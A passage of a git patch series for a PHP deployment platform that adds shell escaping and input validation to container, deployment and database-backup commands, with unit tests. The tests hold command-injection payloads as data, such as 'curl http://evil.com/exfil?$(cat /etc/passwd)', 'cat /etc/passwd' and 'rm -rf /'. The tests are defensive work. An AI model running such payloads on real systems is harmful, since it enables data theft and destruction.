['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
- expect($validator->fails())->toBeTrue();
+ expect($validator->fails())->toBeFalse();
});
test('rejects newline injection in docker_compose_custom_start_command', function () {
@@ -564,7 +566,7 @@
expect($merged)->toHaveKey('dockerfile_target_build');
expect($merged['dockerfile_target_build'])->toBeArray();
- expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
+ expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
});
});
@@ -582,7 +584,7 @@
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_start_command'])->toBeArray();
- expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+ expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
@@ -595,7 +597,7 @@
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_build_command'])->toBeArray();
- expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
+ expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
From ae31111813b0b5cbf3e148dd0b6975c046947110 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:42:00 +0100
Subject: [PATCH 072/168] fix(livewire): add input validation to unmanaged
container operations
Add container name validation and shell argument escaping to
startUnmanaged, stopUnmanaged, restartUnmanaged, and restartContainer
methods, consistent with existing patterns used elsewhere in the
codebase.
Co-Authored-By: Claude Opus 4.6
---
app/Livewire/Server/Resources.php | 16 +++++++++++
app/Models/Server.php | 14 ++++++----
...UnmanagedContainerCommandInjectionTest.php | 28 +++++++++++++++++++
3 files changed, 52 insertions(+), 6 deletions(-)
create mode 100644 tests/Unit/UnmanagedContainerCommandInjectionTest.php
diff --git a/app/Livewire/Server/Resources.php b/app/Livewire/Server/Resources.php
index a21b0372b..3710064dc 100644
--- a/app/Livewire/Server/Resources.php
+++ b/app/Livewire/Server/Resources.php
@@ -3,6 +3,7 @@
namespace App\Livewire\Server;
use App\Models\Server;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -29,6 +30,11 @@ public function getListeners()
public function startUnmanaged($id)
{
+ if (! ValidationPatterns::isValidContainerName($id)) {
+ $this->dispatch('error', 'Invalid container identifier.');
+
+ return;
+ }
$this->server->startUnmanaged($id);
$this->dispatch('success', 'Container started.');
$this->loadUnmanagedContainers();
@@ -36,6 +42,11 @@ public function startUnmanaged($id)
public function restartUnmanaged($id)
{
+ if (! ValidationPatterns::isValidContainerName($id)) {
+ $this->dispatch('error', 'Invalid container identifier.');
+
+ return;
+ }
$this->server->restartUnmanaged($id);
$this->dispatch('success', 'Container restarted.');
$this->loadUnmanagedContainers();
@@ -43,6 +54,11 @@ public function restartUnmanaged($id)
public function stopUnmanaged($id)
{
+ if (! ValidationPatterns::isValidContainerName($id)) {
+ $this->dispatch('error', 'Invalid container identifier.');
+
+ return;
+ }
$this->server->stopUnmanaged($id);
$this->dispatch('success', 'Container stopped.');
$this->loadUnmanagedContainers();
diff --git a/app/Models/Server.php b/app/Models/Server.php
index ce877bd20..9237763c8 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -11,7 +11,9 @@
use App\Events\ServerReachabilityChanged;
use App\Helpers\SslHelper;
use App\Jobs\CheckAndStartSentinelJob;
+use App\Jobs\CheckTraefikVersionForServerJob;
use App\Jobs\RegenerateSslCertJob;
+use App\Livewire\Server\Proxy;
use App\Notifications\Server\Reachable;
use App\Notifications\Server\Unreachable;
use App\Services\ConfigurationRepository;
@@ -77,8 +79,8 @@
* - Traefik image uses the 'latest' tag (no fixed version tracking)
* - No Traefik version detected on the server
*
- * @see \App\Jobs\CheckTraefikVersionForServerJob Where this data is populated
- * @see \App\Livewire\Server\Proxy Where this data is read and displayed
+ * @see CheckTraefikVersionForServerJob Where this data is populated
+ * @see Proxy Where this data is read and displayed
*/
#[OA\Schema(
description: 'Server model',
@@ -719,17 +721,17 @@ public function definedResources()
public function stopUnmanaged($id)
{
- return instant_remote_process(["docker stop -t 0 $id"], $this);
+ return instant_remote_process(['docker stop -t 0 '.escapeshellarg($id)], $this);
}
public function restartUnmanaged($id)
{
- return instant_remote_process(["docker restart $id"], $this);
+ return instant_remote_process(['docker restart '.escapeshellarg($id)], $this);
}
public function startUnmanaged($id)
{
- return instant_remote_process(["docker start $id"], $this);
+ return instant_remote_process(['docker start '.escapeshellarg($id)], $this);
}
public function getContainers()
@@ -1460,7 +1462,7 @@ public function url()
public function restartContainer(string $containerName)
{
- return instant_remote_process(['docker restart '.$containerName], $this, false);
+ return instant_remote_process(['docker restart '.escapeshellarg($containerName)], $this, false);
}
public function changeProxy(string $proxyType, bool $async = true)
diff --git a/tests/Unit/UnmanagedContainerCommandInjectionTest.php b/tests/Unit/UnmanagedContainerCommandInjectionTest.php
new file mode 100644
index 000000000..cf3e5ebea
--- /dev/null
+++ b/tests/Unit/UnmanagedContainerCommandInjectionTest.php
@@ -0,0 +1,28 @@
+toBeFalse();
+})->with([
+ 'semicolon injection' => 'x; id > /tmp/pwned',
+ 'pipe injection' => 'x | cat /etc/passwd',
+ 'command substitution backtick' => 'x`whoami`',
+ 'command substitution dollar' => 'x$(whoami)',
+ 'ampersand background' => 'x & rm -rf /',
+ 'double ampersand' => 'x && curl attacker.com',
+ 'newline injection' => "x\nid",
+ 'space injection' => 'x id',
+ 'redirect output' => 'x > /tmp/pwned',
+ 'redirect input' => 'x < /etc/passwd',
+]);
+
+it('accepts valid Docker container IDs', function (string $id) {
+ expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
+})->with([
+ 'short hex id' => 'abc123def456',
+ 'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
+ 'container name' => 'my-container',
+ 'name with dots' => 'my.container.name',
+ 'name with underscores' => 'my_container_name',
+]);
From 6f163ddf02991fb8fd8bc17fdcecddc318b813c6 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 20:57:17 +0100
Subject: [PATCH 073/168] fix(deployment): normalize whitespace in pre/post
deployment commands
Ensure pre_deployment_command and post_deployment_command have consistent
whitespace handling, matching the existing pattern used for health_check_command.
Adds regression tests for the normalization behavior.
Co-Authored-By: Claude Opus 4.6
---
app/Jobs/ApplicationDeploymentJob.php | 38 ++++++----
.../DeploymentCommandNewlineInjectionTest.php | 74 +++++++++++++++++++
2 files changed, 96 insertions(+), 16 deletions(-)
create mode 100644 tests/Unit/DeploymentCommandNewlineInjectionTest.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 2af380a45..5772ba8c7 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -19,6 +19,7 @@
use App\Models\SwarmDocker;
use App\Notifications\Application\DeploymentFailed;
use App\Notifications\Application\DeploymentSuccess;
+use App\Support\ValidationPatterns;
use App\Traits\EnvironmentVariableAnalyzer;
use App\Traits\ExecuteRemoteCommand;
use Carbon\Carbon;
@@ -317,7 +318,7 @@ public function handle(): void
if ($this->application->dockerfile_target_build) {
$target = $this->application->dockerfile_target_build;
- if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
+ if (! preg_match(ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) {
throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.');
}
$this->buildTarget = " --target {$target} ";
@@ -451,7 +452,7 @@ private function detectBuildKitCapabilities(): void
$this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments.");
}
}
- } catch (\Exception $e) {
+ } catch (Exception $e) {
$this->dockerBuildkitSupported = false;
$this->dockerSecretsSupported = false;
$this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}");
@@ -491,7 +492,7 @@ private function post_deployment()
// Then handle side effects - these should not fail the deployment
try {
GetContainersStatus::dispatch($this->server);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Failed to dispatch GetContainersStatus for deployment '.$this->deployment_uuid.': '.$e->getMessage());
}
@@ -499,7 +500,7 @@ private function post_deployment()
if ($this->application->is_github_based()) {
try {
ApplicationPullRequestUpdateJob::dispatch(application: $this->application, preview: $this->preview, deployment_uuid: $this->deployment_uuid, status: ProcessStatus::FINISHED);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Failed to dispatch PR update for deployment '.$this->deployment_uuid.': '.$e->getMessage());
}
}
@@ -507,13 +508,13 @@ private function post_deployment()
try {
$this->run_post_deployment_command();
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Post deployment command failed for '.$this->deployment_uuid.': '.$e->getMessage());
}
try {
$this->application->isConfigurationChanged(true);
- } catch (\Exception $e) {
+ } catch (Exception $e) {
\Log::warning('Failed to mark configuration as changed for deployment '.$this->deployment_uuid.': '.$e->getMessage());
}
}
@@ -695,7 +696,7 @@ private function deploy_docker_compose_buildpack()
}
// Inject build arguments after build subcommand if not using build secrets
- if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
+ if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) {
$build_args_string = $this->build_args->implode(' ');
// Inject build args right after 'build' subcommand (not at the end)
@@ -733,7 +734,7 @@ private function deploy_docker_compose_buildpack()
$command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} build --pull";
}
- if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
+ if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) {
$build_args_string = $this->build_args->implode(' ');
$command .= " {$build_args_string}";
$this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.');
@@ -2128,7 +2129,7 @@ private function set_coolify_variables()
private function check_git_if_build_needed()
{
- if (is_object($this->source) && $this->source->getMorphClass() === \App\Models\GithubApp::class && $this->source->is_public === false) {
+ if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) {
$repository = githubApi($this->source, "repos/{$this->customRepository}");
$data = data_get($repository, 'data');
$repository_project_id = data_get($data, 'id');
@@ -2964,7 +2965,7 @@ private function build_image()
}
// Always convert build_args Collection to string for command interpolation
- $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection
+ $this->build_args = $this->build_args instanceof Collection
? $this->build_args->implode(' ')
: (string) $this->build_args;
@@ -3965,7 +3966,7 @@ private function add_build_secrets_to_compose($composeFile)
$composeFile['services'] = $services;
$existingSecrets = data_get($composeFile, 'secrets', []);
- if ($existingSecrets instanceof \Illuminate\Support\Collection) {
+ if ($existingSecrets instanceof Collection) {
$existingSecrets = $existingSecrets->toArray();
}
$composeFile['secrets'] = array_replace($existingSecrets, $secrets);
@@ -3977,7 +3978,7 @@ private function add_build_secrets_to_compose($composeFile)
private function validatePathField(string $value, string $fieldName): string
{
- if (! preg_match(\App\Support\ValidationPatterns::FILE_PATH_PATTERN, $value)) {
+ if (! preg_match(ValidationPatterns::FILE_PATH_PATTERN, $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters.");
}
if (str_contains($value, '..')) {
@@ -3989,7 +3990,7 @@ private function validatePathField(string $value, string $fieldName): string
private function validateShellSafeCommand(string $value, string $fieldName): string
{
- if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
+ if (! preg_match(ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) {
throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters.");
}
@@ -3998,7 +3999,7 @@ private function validateShellSafeCommand(string $value, string $fieldName): str
private function validateContainerName(string $value): string
{
- if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
+ if (! preg_match(ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) {
throw new \RuntimeException('Invalid container name: contains forbidden characters.');
}
@@ -4029,7 +4030,10 @@ private function run_pre_deployment_command()
// members can set these commands, and execution is scoped to the application's own container.
// The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not
// restrict the command itself. Container names are validated separately via validateContainerName().
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'";
+ // Newlines are normalized to spaces to prevent injection via SSH heredoc transport
+ // (matches the pattern used for health_check_command at line ~2824).
+ $preCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->pre_deployment_command);
+ $cmd = "sh -c '".str_replace("'", "'\''", $preCommand)."'";
$exec = "docker exec {$containerName} {$cmd}";
$this->execute_remote_command(
[
@@ -4061,7 +4065,9 @@ private function run_post_deployment_command()
if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) {
// Security: post_deployment_command is intentionally treated as arbitrary shell input.
// See the equivalent comment in run_pre_deployment_command() for the full security rationale.
- $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'";
+ // Newlines are normalized to spaces to prevent injection via SSH heredoc transport.
+ $postCommand = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->post_deployment_command);
+ $cmd = "sh -c '".str_replace("'", "'\''", $postCommand)."'";
$exec = "docker exec {$containerName} {$cmd}";
try {
$this->execute_remote_command(
diff --git a/tests/Unit/DeploymentCommandNewlineInjectionTest.php b/tests/Unit/DeploymentCommandNewlineInjectionTest.php
new file mode 100644
index 000000000..949da88da
--- /dev/null
+++ b/tests/Unit/DeploymentCommandNewlineInjectionTest.php
@@ -0,0 +1,74 @@
+not->toContain("\n")
+ ->and($exec)->not->toContain("\r")
+ ->and($exec)->toContain('echo hello echo injected')
+ ->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/");
+});
+
+it('strips carriage returns from deployment command', function () {
+ $exec = buildDeploymentExecCommand("echo hello\r\necho injected");
+
+ expect($exec)->not->toContain("\r")
+ ->and($exec)->not->toContain("\n")
+ ->and($exec)->toContain('echo hello echo injected');
+});
+
+it('strips bare carriage returns from deployment command', function () {
+ $exec = buildDeploymentExecCommand("echo hello\recho injected");
+
+ expect($exec)->not->toContain("\r")
+ ->and($exec)->toContain('echo hello echo injected');
+});
+
+it('leaves single-line deployment command unchanged', function () {
+ $exec = buildDeploymentExecCommand('php artisan migrate --force');
+
+ expect($exec)->toContain("sh -c 'php artisan migrate --force'");
+});
+
+it('prevents newline injection with malicious payload', function () {
+ // Attacker tries to inject a second command via newline in heredoc transport
+ $exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)");
+
+ expect($exec)->not->toContain("\n")
+ // The entire command should be on a single line inside sh -c
+ ->and($exec)->toContain('harmless curl http://evil.com/exfil');
+});
+
+it('handles multiple consecutive newlines', function () {
+ $exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2");
+
+ expect($exec)->not->toContain("\n")
+ ->and($exec)->toContain('cmd1 cmd2');
+});
+
+it('properly escapes single quotes after newline normalization', function () {
+ $exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'");
+
+ expect($exec)->not->toContain("\n")
+ ->and($exec)->toContain("echo '\\''hello'\\''")
+ ->and($exec)->toContain("echo '\\''world'\\''");
+});
+
+/**
+ * Replicates the exact command-building logic from ApplicationDeploymentJob's
+ * run_pre_deployment_command() and run_post_deployment_command() methods.
+ *
+ * This tests the security-critical str_replace + sh -c wrapping in isolation.
+ */
+function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string
+{
+ // This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command
+ $normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command);
+ $cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'";
+
+ return "docker exec {$containerName} {$cmd}";
+}
From 952f3247970d261ff93f85c79066192f58f9557e Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 23:43:57 +0100
Subject: [PATCH 074/168] fix(backup): use escapeshellarg for credentials in
database backup commands
Apply proper shell escaping to all user-controlled values interpolated into
backup shell commands (PostgreSQL username/password, MySQL/MariaDB root
password, MongoDB URI). Also URL-encode MongoDB credentials before embedding
in connection URI. Adds unit tests for escaping behavior.
Co-Authored-By: Claude Opus 4.6
---
app/Jobs/DatabaseBackupJob.php | 65 ++++++++++--------
tests/Unit/DatabaseBackupSecurityTest.php | 80 +++++++++++++++++++++++
2 files changed, 116 insertions(+), 29 deletions(-)
diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php
index d86986fad..7f1feaa21 100644
--- a/app/Jobs/DatabaseBackupJob.php
+++ b/app/Jobs/DatabaseBackupJob.php
@@ -91,7 +91,7 @@ public function handle(): void
return;
}
- if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
+ if (data_get($this->backup, 'database_type') === ServiceDatabase::class) {
$this->database = data_get($this->backup, 'database');
$this->server = $this->database->service->server;
$this->s3 = $this->backup->s3;
@@ -119,7 +119,7 @@ public function handle(): void
return;
}
- if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
+ if (data_get($this->backup, 'database_type') === ServiceDatabase::class) {
$databaseType = $this->database->databaseType();
$serviceUuid = $this->database->service->uuid;
$serviceName = str($this->database->service->name)->slug();
@@ -241,7 +241,7 @@ public function handle(): void
}
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
// Continue without env vars - will be handled in backup_standalone_mongodb method
}
}
@@ -388,7 +388,7 @@ public function handle(): void
} else {
throw new \Exception('Local backup file is empty or was not created');
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
// Local backup failed
if ($this->backup_log) {
$this->backup_log->update([
@@ -401,7 +401,7 @@ public function handle(): void
}
try {
$this->team?->notify(new BackupFailed($this->backup, $this->database, $this->error_output ?? $this->backup_output ?? $e->getMessage(), $database));
- } catch (\Throwable $notifyException) {
+ } catch (Throwable $notifyException) {
Log::channel('scheduled-errors')->warning('Failed to send backup failure notification', [
'backup_id' => $this->backup->uuid,
'database' => $database,
@@ -423,7 +423,7 @@ public function handle(): void
deleteBackupsLocally($this->backup_location, $this->server);
$localStorageDeleted = true;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
// S3 upload failed but local backup succeeded
$s3UploadError = $e->getMessage();
}
@@ -455,7 +455,7 @@ public function handle(): void
} else {
$this->team->notify(new BackupSuccess($this->backup, $this->database, $database));
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
Log::channel('scheduled-errors')->warning('Failed to send backup success notification', [
'backup_id' => $this->backup->uuid,
'database' => $database,
@@ -467,7 +467,7 @@ public function handle(): void
if ($this->backup_log && $this->backup_log->status === 'success') {
removeOldBackups($this->backup);
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
throw $e;
} finally {
if ($this->team) {
@@ -489,19 +489,23 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
// For service-based MongoDB, try to build URL from environment variables
if (filled($this->mongo_root_username) && filled($this->mongo_root_password)) {
// Use container name instead of server IP for service-based MongoDB
- $url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";
+ // URL-encode credentials to prevent URI injection
+ $encodedUser = rawurlencode($this->mongo_root_username);
+ $encodedPass = rawurlencode($this->mongo_root_password);
+ $url = "mongodb://{$encodedUser}:{$encodedPass}@{$this->container_name}:27017";
} else {
// If no environment variables are available, throw an exception
throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.');
}
}
Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]);
+ $escapedUrl = escapeshellarg($url);
if ($databaseWithCollections === 'all') {
$commands[] = 'mkdir -p '.$this->backup_dir;
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --gzip --archive > $this->backup_location";
}
} else {
if (str($databaseWithCollections)->contains(':')) {
@@ -519,9 +523,9 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
if ($collectionsToExclude->count() === 0) {
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --archive > $this->backup_location";
}
} else {
// Validate and escape each collection name
@@ -533,9 +537,9 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
});
if (str($this->database->image)->startsWith('mongo:4')) {
- $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --uri=$escapedUrl --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
} else {
- $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=$escapedUrl --db $escapedDatabaseName --gzip --excludeCollection ".$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
}
}
}
@@ -544,7 +548,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -556,15 +560,16 @@ private function backup_standalone_postgresql(string $database): void
$commands[] = 'mkdir -p '.$this->backup_dir;
$backupCommand = 'docker exec';
if ($this->postgres_password) {
- $backupCommand .= " -e PGPASSWORD=\"{$this->postgres_password}\"";
+ $backupCommand .= ' -e PGPASSWORD='.escapeshellarg($this->postgres_password);
}
+ $escapedUsername = escapeshellarg($this->database->postgres_user);
if ($this->backup->dump_all) {
- $backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
+ $backupCommand .= " $this->container_name pg_dumpall --username $escapedUsername | gzip > $this->backup_location";
} else {
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
- $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location";
+ $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username $escapedUsername $escapedDatabase > $this->backup_location";
}
$commands[] = $backupCommand;
@@ -573,7 +578,7 @@ private function backup_standalone_postgresql(string $database): void
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -583,20 +588,21 @@ private function backup_standalone_mysql(string $database): void
{
try {
$commands[] = 'mkdir -p '.$this->backup_dir;
+ $escapedPassword = escapeshellarg($this->database->mysql_root_password);
if ($this->backup->dump_all) {
- $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location";
} else {
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
- $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mysqldump -u root -p$escapedPassword $escapedDatabase > $this->backup_location";
}
$this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true);
$this->backup_output = trim($this->backup_output);
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -606,20 +612,21 @@ private function backup_standalone_mariadb(string $database): void
{
try {
$commands[] = 'mkdir -p '.$this->backup_dir;
+ $escapedPassword = escapeshellarg($this->database->mariadb_root_password);
if ($this->backup->dump_all) {
- $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location";
} else {
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
- $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location";
+ $commands[] = "docker exec $this->container_name mariadb-dump -u root -p$escapedPassword $escapedDatabase > $this->backup_location";
}
$this->backup_output = instant_remote_process($commands, $this->server, true, false, $this->timeout, disableMultiplexing: true);
$this->backup_output = trim($this->backup_output);
if ($this->backup_output === '') {
$this->backup_output = null;
}
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->add_to_error_output($e->getMessage());
throw $e;
}
@@ -666,7 +673,7 @@ private function upload_to_s3(): void
$bucket = $this->s3->bucket;
$endpoint = $this->s3->endpoint;
$this->s3->testConnection(shouldSave: true);
- if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
+ if (data_get($this->backup, 'database_type') === ServiceDatabase::class) {
$network = $this->database->service->destination->network;
} else {
$network = $this->database->destination->network;
@@ -701,7 +708,7 @@ private function upload_to_s3(): void
instant_remote_process($commands, $this->server, true, false, null, disableMultiplexing: true);
$this->s3_uploaded = true;
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
$this->s3_uploaded = false;
$this->add_to_error_output($e->getMessage());
throw $e;
@@ -755,7 +762,7 @@ public function failed(?Throwable $exception): void
$output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error';
try {
$this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName));
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
Log::channel('scheduled-errors')->warning('Failed to send backup permanent failure notification', [
'backup_id' => $this->backup->uuid,
'error' => $e->getMessage(),
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
index 90940c174..10012950d 100644
--- a/tests/Unit/DatabaseBackupSecurityTest.php
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -142,3 +142,83 @@
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
+
+// --- Credential escaping tests for database backup commands ---
+
+test('escapeshellarg neutralizes command injection in postgres password', function () {
+ $maliciousPassword = '"; rm -rf / #';
+ $escaped = escapeshellarg($maliciousPassword);
+
+ // The escaped value must be a single shell token that cannot break out
+ expect($escaped)->not->toContain("\n");
+ expect($escaped)->toBe("'\"; rm -rf / #'");
+ // When used in: -e PGPASSWORD=, the shell sees one token
+ $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
+ expect($command)->toContain("PGPASSWORD='");
+ expect($command)->not->toContain('PGPASSWORD=""');
+});
+
+test('escapeshellarg neutralizes command injection in postgres username', function () {
+ $maliciousUser = 'admin$(whoami)';
+ $escaped = escapeshellarg($maliciousUser);
+
+ expect($escaped)->toBe("'admin\$(whoami)'");
+ $command = "docker exec container pg_dump --username $escaped";
+ // The $() should be inside single quotes, preventing execution
+ expect($command)->toContain("--username 'admin\$(whoami)'");
+});
+
+test('escapeshellarg neutralizes command injection in mysql password', function () {
+ $maliciousPassword = 'pass" && curl http://evil.com #';
+ $escaped = escapeshellarg($maliciousPassword);
+
+ $command = "docker exec container mysqldump -u root -p$escaped db";
+ // The password must be wrapped in single quotes
+ expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
+});
+
+test('escapeshellarg neutralizes command injection in mariadb password', function () {
+ $maliciousPassword = "pass'; whoami; echo '";
+ $escaped = escapeshellarg($maliciousPassword);
+
+ // Single quotes in the value get escaped as '\''
+ expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
